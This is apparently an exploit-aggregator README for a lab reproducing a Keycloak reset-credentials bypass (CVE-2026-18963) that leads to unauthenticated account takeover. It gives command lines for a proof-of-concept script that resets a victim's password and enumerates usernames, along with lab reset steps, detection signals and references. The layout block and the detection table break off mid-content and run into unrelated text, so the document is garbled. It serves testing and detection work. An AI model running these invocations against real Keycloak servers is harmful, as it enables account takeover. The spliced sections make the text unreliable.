## https://sploitus.com/exploit?id=9F41F8F2-88EE-5E6D-943C-B1FF8321A4C2
# CVE-2026-18963
Keycloak reset-credentials bypass → unauthenticated account takeover
**CVSS 9.1** | Affected: Keycloak 26.0.0 – 26.7.1
> This lab is reconstructed from the original README of `snizi/cve-2026-18963-exploit`.
---
## Layout
```
CVE-2026-18963/
├── cve_2026_18963_poc.py Side effects: a reset email is sent to the victim (view it at http://localhost:8025),
> and `emailVerified` is set to `true`.
---
### Full takeover
```bash
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
```
Afterwards, verify by logging in at http://localhost:8080/realms/poc/account
with `victim` / `PoCPassw0rd!1`.
---
### Username enumeration
```bash
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
```
---
## Step 3: Reset the victim to its initial state
The realm is imported only on first boot, so the simplest reset is to recreate
the environment from scratch:
```bash
docker compose down -v && docker compose up -d
```
Alternatively, reset the password manually in the admin console
(http://localhost:8080/admin): Users → `victim` → Credentials → Reset password
→ `OriginalPassw0rd!`.
---
## Teardown
```bash
docker compose down -v
```
---
## Detection signals
| Signal | Legitimate | Exploit |
|--------|------------|---------|
| `GET /login-actions/action-token?...` | ✅ Yes | ❌ No |
| `POST .../reset-credentials` with body `tryAnotherWay=yes` | ❌ No | ✅ Yes |
| `SEND_RESET_PASSWORD` → `UPDATE_PASSWORD` with the same `code_id` Versions before 26.0 are **not affected**: the sticky
> `AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED` note and the "Try another way"
> selector screen in the reset flow were introduced in 26.0.0. Older builds
> simply lack the vulnerable code path — that is not the same as being patched.
---
## References
- Sploitus (original README): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
- Keycloak issue: https://github.com/keycloak/keycloak/issues/51833
- Fix PR: https://github.com/keycloak/keycloak/pull/51844
- GHSA: GHSA-4gv3-mc9p-5wqc
- Red Hat: https://access.redhat.com/security/cve/cve-2026-18963